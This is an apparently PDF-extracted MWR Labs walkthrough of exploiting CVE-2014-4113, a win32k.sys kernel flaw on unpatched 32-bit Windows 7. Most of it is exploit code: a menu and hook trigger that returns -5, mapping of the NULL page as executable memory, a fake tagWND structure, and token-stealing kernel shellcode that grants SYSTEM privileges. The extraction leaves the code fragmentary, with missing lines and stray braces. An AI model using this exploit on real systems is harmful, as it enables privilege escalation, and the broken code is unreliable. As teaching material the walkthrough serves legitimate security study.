Windows Kernel Exploitation 101: Exploiting CVE-2014-4113: MWR Labs Walkthrough
Windows Kernel Exploitation 101: Exploiting CVE-2014-4113: MWR Labs Walkthrough
The vulnerability occurs within the win32k.sys driver which supports the Kernel-mode Graphics Display
Interface which communicates directly with the graphics driver, this provides the kernel mode support for
outputting graphical content to the screen. The vulnerability is in the function
win32k!xxxHandleMenuMessages when it calls the function xxxMNFindWindowFromPoint which can either
return a pointer to a win32k!tagWND structure or an error code which can be -1 or -5.
xxxMNFindWindowFromPoint only checks if the error code -1 has been returned and will pass -5 to
xxxSendMessage as if it’s a valid pointer which will then call a function it expects the tagWND structure to
contain a pointer to.
This vulnerability was patched in MS14-058 so I’ll be working on an unpatched version of Windows 7 Service
Pack 1 32 bit while using a Window 10 VM to kernel debug it, setting this up is described in the resources
referenced above.
2. Place a fake data structure in it which will cause our shell code to be executed.
On later versions of Windows it is not possible to map a NULL address space which means this class of
vulnerability has been fully mitigated but on Windows 7 it is still possible and since it still has a substantial
install base I thought this was worth a look.
labs.mwrinfosecurity.com
2
5. In menu’s callback, it will destroy the menu and return -5 (PUSH 0xfffffffb; POP EAX)
Following these steps we start off by creating a window and hooking its wndproc function inside a new Visual
Studio project.
#include "stdafx.h"
#include <Windows.h>
);
Msg => Message, the event that has occurred, this could be that window has moved, has been
minimized, clicked on etc
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
void _tmain()
UINT style;
WNDPROC lpfnWndProc;
int cbClsExtra;
int cbWndExtra;
HINSTANCE hInstance;
HICON hIcon;
HCURSOR hCursor;
HBRUSH hbrBackground;
LPCTSTR lpszMenuName;
LPCTSTR lpszClassName;
} WNDCLASS, *PWNDCLASS;
We don't care about any of the style information but we set any needed values below.
*/
WNDCLASSA wnd_class = { 0 };
labs.mwrinfosecurity.com
3
//Our custome WndProc handler, inspects any window messages before passing then onto
the default handler
wnd_class.lpfnWndProc = WndProc;
//Returns a handle to the executable that has the name passed to it, passing NULL
means it returns a handle to this executable
wnd_class.hInstance = GetModuleHandle(NULL);
//Random classname - we reference this later when creating a Window of this class
wnd_class.lpszClassName = "abcde";
//Registers the class in the global scope so it can be refered too later.
if (tmp == NULL){
return;
}
_In_opt_ LPCTSTR lpClassName, => The name of the Window class to be created, in
this case the class we just registered
_In_opt_ LPCTSTR lpWindowName, => The name to give the window, we don't need to
give it a name.
_In_ DWORD dwStyle, => Style options for the window, here
_In_ int x, => x position to create the window,this time the left edge
_In_ int y, => y position to create the window, this time the top edge
_In_ int nWidth, => Width of the window to create, randomly chosen value
_In_ int nHeight, => Height of the to create, randomly chosen value
_In_opt_ HWND hWndParent, => A handle to the parent window, this is our only
window so NULL
_In_opt_ HMENU hMenu, => A handle to a menu or sub window to attach to the
window, we havent created any yet.
_In_opt_ HINSTANCE hInstance, => A handle to the module the window should be
associated with, for us this executable
_In_opt_ LPVOID lpParam => A pointer to data to be passed to the Window with
the WM_CREATE message on creation, NULL for us as we don't wish to pass anything.
); */
if (main_wnd == NULL){
labs.mwrinfosecurity.com
4
return;
if (MenuOne == NULL){
return;
UINT cbSize;
UINT fMask;
UINT fType;
UINT fState;
UINT wID;
HMENU hSubMenu;
HBITMAP hbmpChecked;
HBITMAP hbmpUnchecked;
ULONG_PTR dwItemData;
LPTSTR dwTypeData;
UINT cch;
HBITMAP hbmpItem;
} MENUITEMINFO, *LPMENUITEMINFO;
*/
MENUITEMINFOA MenuOneInfo = { 0 };
//Default size
MenuOneInfo.cbSize = sizeof(MENUITEMINFOA);
MenuOneInfo.fMask = MIIM_STRING;
labs.mwrinfosecurity.com
5
_In_ HMENU hMenu, => Handle to the menu the new item should be inserted into,
in our case the empty menu we just created
_In_ LPCMENUITEMINFO lpmii => A pointer to the MENUITEMINFO structure that contains the
menu item details.
);
*/
if (!insertMenuItem){
DestroyMenu(MenuOne);
return;
if (MenuTwo == NULL){
DestroyMenu(MenuOne);
return;
MENUITEMINFOA MenuTwoInfo = { 0 };
MenuTwoInfo.cbSize = sizeof(MENUITEMINFOA);
MenuTwoInfo.hSubMenu = MenuOne;
MenuTwoInfo.dwTypeData = "";
//The length of the menu item text - in the case 1 for just a single NULL byte
MenuTwoInfo.cch = 1;
if (!insertMenuItem){
DestroyMenu(MenuOne);
labs.mwrinfosecurity.com
6
DestroyMenu(MenuTwo);
return;
Now we add the initial callback function we will be using as a hook and the second callback function it
replaces itself with which destroys the menu and returns -5.
//Destroys the menu and then returns -5, this will be passed to xxxSendMessage which will
then use it as a pointer.
LRESULT CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
EndMenu();
return -5;
LPARAM lParam;
WPARAM wParam;
UINT message;
HWND hwnd;
} CWPSTRUCT, *PCWPSTRUCT, *LPCWPSTRUCT;
*/
if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) {
Finally we create the hook for the first callback function and then track the pop-up menu to trigger the
vulnerability.
/*
labs.mwrinfosecurity.com
7
_In_ int idHook, => The type of hook we want to create, in this case
WH_CALLWNDPROC which means that the callback will be passed any window messages before the
system sends them to the destination window procedure.
_In_ HOOKPROC lpfn, => The callback that should be called when triggered
_In_ HINSTANCE hMod, => If the hook functions is in a dll we pass a handle to the
dll here, not needed in this case.
_In_ DWORD dwThreadId => The thread which the callback should be triggered in,
we want it to be our current thread.
);
*/
if (setWindowsHook == NULL){
DestroyMenu(MenuOne);
DestroyMenu(MenuTwo);
return;
_In_ int x,
_In_ int y,
);
*/
TrackPopupMenu(
MenuTwo, //Handle to the menu we want to display, for us its the submenu we just
created.
0, //Options on how the menu is aligned, what clicks are allowed etc, we don't care.
labs.mwrinfosecurity.com
8
NULL //This value is always ignored...
);
So we have a NULL pointer exception, just not the one we want. Remember that the Trendlabs report said
the issue was -5 (or 0xfffffffb in hex) being returned from xxxMNFindWindowFromPoint and then used as a
base address but that doesn’t appear here, we need to look deeper into the issue.
In order to understand what we are missing we need to understand how WndProc works and what the
messages we are processing do. In order to allow a GUI application to handle both user triggered events and
kernel triggered events Windows uses a message passing model, the OS communicates with the application
by passing messages to it which are numeric codes indicating what event has occurred. These are processed
by the application in an event loop which calls the Window WndProc function that we have added to our
window class, the kernel sends these messages using the win32k!xxxSendMessage function. A longer
explanation of this can be found on the MSDN page Window Messages. With this knowledge in mind we can
look at the xxxMNFindWindowFromPoint function inside our debugger.
I’ve cut this short but looking at the functions full assembly we see that the function sends a message to the
window with code ‘0X1EB’ when it is first called.
Looking at the output from the basic logging we have in our trigger code at the moment, the callbacks
are being swapped out on the message 0x3 which is ‘WM_MOVE’. In reality we want it to be switched out
when the ‘0X1EB’ message is first sent so that when the callback is called again later on we return -5
labs.mwrinfosecurity.com
9
which win32k!xxxMNFindWindowFromPoint then proceeds to return. In order to do this we update the
code in our callback.
LPARAM lParam;
WPARAM wParam;
UINT message;
HWND hwnd;
*/
//lparam+8 is the message sent to the window, here we are checking for the
undocumented message 0x1EB which is sent to a window when the function
xxxMNFindWindowFromPoint is called
if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) {
We can save this change then build and run the code again and nothing happens…until I click on the
pop up menu! At this point callback two is triggered and the system crashes, this time giving us the
right crash!
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
/*
labs.mwrinfosecurity.com
10
Wait until the window is idle and then send the messages needed to 'click' on the
submenu to trigger the bug
*/
if (msg == WM_ENTERIDLE) {
Now that we can reliably and automatically trigger the crash it’s time to setup our payload, the Visual
Studio project for the crash trigger is available here.
Looking at the assembly around the point where we crash and at the win32k!tagWND structure that we
know xxxMNFindWindowFromPoint is supposed to return a pointer too, we can work out what our fake
structure needs to look like.
win32k!xxxSendMessageTimeout+0xab:
kd> dt -r win32k!tagWND
+0x000 head : _THRDESKHEAD
+0x000 h : Ptr32 Void
+0x004 cLockObj : Uint4B
+0x008 pti : Ptr32 tagTHREADINFO
+0x000 pEThread : Ptr32 _ETHREAD
labs.mwrinfosecurity.com
11
we’re indexing from -5 it is 3). So let’s set up our payload to pass this first, to begin with we need to
map the NULL page which we do using the function ‘NtAllocateVirtualMemory’ found inside ntdll.dll. In
order to use ‘NtAllocateVirtualMemory’ we need to load ntdll, find the functions location inside and then
cast the pointer we get to a properly defined type. We do this with the following code:
//Loads ntdll.dll into the processes memory space and returns a HANDLE to it
if (hNtdll == NULL) {
return;
//Get the locations NtAllocateVirtualMemory in ntdll as a FARPROC pointer and then cast it
a useable function pointer
lNtAllocateVirtualMemory pNtAllocateVirtualMemory =
(lNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
if (pNtAllocateVirtualMemory == NULL) {
return;
DWORD base_address = 1;
//Aritary size which is probably big enough - it'll get rounded up to the next memory page
boundary anyway
0, //ULONG_PTR ZeroBits => The number of high-order address bits that must be zero
in the base address, this is only used when the base address passed is NULL
®ion_size, //RegionSize => How much memory we want allocated, this will be
rounded up to the nearest page boundary and the updated value will be written to the
variable
labs.mwrinfosecurity.com
12
PAGE_EXECUTE_READWRITE //ULONG Protect => The page protection flags the memory
should be created with, we want RWX
);
if (tmp != (NTSTATUS)0x0) {
return;
We also need to create the ‘NtAllocateVirtualMemory’’ typedef which is taken from the MSDN
documentation for ZwAllocateVirtualMemory somewhere before main.
IN HANDLE ProcessHandle,
IN PVOID *BaseAddress,
IN PULONG ZeroBits,
IN PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
At this point we need to know how to get the pointer to the value Win32ThreadInfo structure to place at
offset 0x3, this pointer can be found for the currently executing thread at the pti offset in the Thread
Execution Block (TEB) at offset 0x40, we can find the TEB by looking at offset 0x18 from the fs segment.
__asm {
Now we place this at offset 0x3 in our NULL page memory mapping.
if (pti == NULL) {
return;
labs.mwrinfosecurity.com
13
//create a pointer to 0x3 where we want to place the Win32ThreadInfo pointer and then place
the pointer in memory.
*(LPDWORD)pti_loc = pti;
With this setup we should be able to build and run our code again and have it pass the check.
Running our code we get a memory access exception trying to increment a value at address 0xffffffff, we
haven’t allocated memory at this address so we clearly need to do something differently. Let’s have another
look at the disassembly of xxxSendMessageTimeout and see what we can do.
win32k!xxxSendMessageTimeout+0xad:
win32k!xxxSendMessageTimeout+0x140:
win32k!xxxSendMessageTimeout+0x153:
labs.mwrinfosecurity.com
14
949494b3 50 push eax
win32k!xxxSendMessageTimeout+0x179:
win32k!xxxSendMessageTimeout+0x183:
949494ca 8d451c lea eax,[ebp+1Ch]
win32k!xxxSendMessageTimeout+0x19a:
win32k!xxxSendMessageTimeout+0x1a1:
The final line here is the only place that a pointer inside our structure is called as a function, so this is
where we need to place our shellcode but first we need to set the correct values so that any branches
take us to this point. The only time between the address we are at after the pti check and the function
call where a value in our structure is referenced is in the following snippet.
win32k!xxxSendMessageTimeout+0x179:
labs.mwrinfosecurity.com
15
949494c4 8d4518 lea eax,[ebp+18h]
Currently we are failing this test so let’s see what happens if we change our mapped memory to pass it by
adding these lines of code after we place the pti pointer in our mapped memory.
Building and then running the code again we get the following information in the debugger once we’ve
crashed the kernel.
Almost there! From the call stack we can see that it’s trying to execute code at address 0x0 but it previously
called win32k!xxxSendMessageTimeout+0x1ac which is the following line of code
As this memory is uninitialized at the moment it ends up calling a pointer which is all NULL bytes, by making
the offset 0x60 in our fake structure contain a pointer to some shellcode we should be able to execute it. We
can see from the disassembly of ‘xxxSendMessageTimeout’ that four arguments are being placed on the
stack before the pointer is called.
win32k!xxxSendMessageTimeout+0x1a1:
This means it’s expecting to pass four arguments to the function which our shellcode must take into account,
this is done by taking the token stealing shellcode originally described in this post and changing its prototype
from:
VOID TokenStealingShellcodeWin7()
labs.mwrinfosecurity.com
16
To:
int __stdcall TokenStealingShellcodeWin7(int one, int two, int three, int four)
And adding:
return 0;
to the end of the function. Now we place the full shellcode function and its defines before main:
// Windows 7 SP1 x86 Offsets
int __stdcall TokenStealingShellcodeWin7(int one, int two, int three, int four) {
__asm {
; initialize
SearchSystemPID:
jne SearchSystemPID
; to current process
return 0;
Then we add these lines to the code for setting up the fake structure
labs.mwrinfosecurity.com
17
void* shellcode_loc = (void *)0x5b;
*(LPDWORD)shellcode_loc = (DWORD)TokenStealingShellcodeWin7;
Then we add popping calc after we’ve triggered the bug for good measure
system("calc.exe");
With everything included for setting up the heap and then triggering the bug our code should look like (this
code can also be found with full comments here):
#include "stdafx.h"
#include <Windows.h>
//Destroys the menu and then returns -5, this will be passed to xxxSendMessage which will
then use it as a pointer.
LRESULT CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
EndMenu();
return -5;
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
/* Wait until the window is idle and then send the messages needed to 'click' on the
submenu to trigger the bug */
if (msg == WM_ENTERIDLE) {
labs.mwrinfosecurity.com
18
PostMessageA(hwnd, WM_KEYDOWN, VK_DOWN, 0);
IN HANDLE ProcessHandle,
IN PVOID *BaseAddress,
IN PULONG ZeroBits,
IN PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
//Gets a pointer to the Win32ThreadInfo structure for the current thread by indexing into
the Thread Execution Block for the current thread
__asm {
int __stdcall TokenStealingShellcodeWin7(int one, int two, int three, int four) {
__asm {
; initialize
labs.mwrinfosecurity.com
19
mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
SearchSystemPID:
jne SearchSystemPID
; to current process
popad; restore registers state
return 0;
void _tmain()
//Loads ntdll.dll into the processes memory space and returns a HANDLE to it
if (hNtdll == NULL) {
printf("Failed to load ntdll");
return;
lNtAllocateVirtualMemory pNtAllocateVirtualMemory =
(lNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
if (pNtAllocateVirtualMemory == NULL) {
return;
DWORD base_address = 1;
labs.mwrinfosecurity.com
20
//Aritary size which is probably big enough - it'll get rounded up to the next
memory page boundary anyway
0, //ULONG_PTR ZeroBits => The number of high-order address bits that must be
zero in the base address, this is only used when the base address passed is NULL
®ion_size,
PAGE_EXECUTE_READWRITE
);
if (tmp != (NTSTATUS)0x0) {
return;
if (pti == NULL) {
return;
//create a pointer to 0x3 where we want to place the Win32ThreadInfo pointer and
then place the pointer in memory.
*(LPDWORD)pti_loc = pti;
*(LPDWORD)shellcode_loc = (DWORD)TokenStealingShellcodeWin7;
WNDCLASSA wnd_class = { 0 };
//Our custome WndProc handler, inspects any window messages before passing then onto
the default handler
wnd_class.lpfnWndProc = WndProc;
labs.mwrinfosecurity.com
21
//Returns a handle to the executable that has the name passed to it, passing NULL
means it returns a handle to this executable
wnd_class.hInstance = GetModuleHandle(NULL);
//Random classname - we reference this later when creating a Window of this class
wnd_class.lpszClassName = "abcde";
//Registers the class in the global scope so it can be refered too later.
if (reg == NULL){
return;
if (main_wnd == NULL){
return;
if (MenuOne == NULL){
return;
MENUITEMINFOA MenuOneInfo = { 0 };
//Default size
MenuOneInfo.cbSize = sizeof(MENUITEMINFOA);
MenuOneInfo.fMask = MIIM_STRING;
if (!insertMenuItem){
DestroyMenu(MenuOne);
labs.mwrinfosecurity.com
22
return;
if (MenuTwo == NULL){
DestroyMenu(MenuOne);
return;
MENUITEMINFOA MenuTwoInfo = { 0 };
MenuTwoInfo.cbSize = sizeof(MENUITEMINFOA);
//On this window hSubMenu should be included in Get/SetMenuItemInfo
MenuTwoInfo.hSubMenu = MenuOne;
MenuTwoInfo.dwTypeData = "";
MenuTwoInfo.cch = 1;
if (!insertMenuItem){
DestroyMenu(MenuTwo);
return;
if (setWindowsHook == NULL){
DestroyMenu(MenuOne);
DestroyMenu(MenuTwo);
return;
TrackPopupMenu(
labs.mwrinfosecurity.com
23
MenuTwo, //Handle to the menu we want to display, for us it’s the submenu we
just created.
0, //Options on how the menu is aligned, what clicks are allowed etc
);
DestroyWindow(main_wnd);
system("calc.exe");
1.5 Success
Now we compile and run our updated code and...
labs.mwrinfosecurity.com
24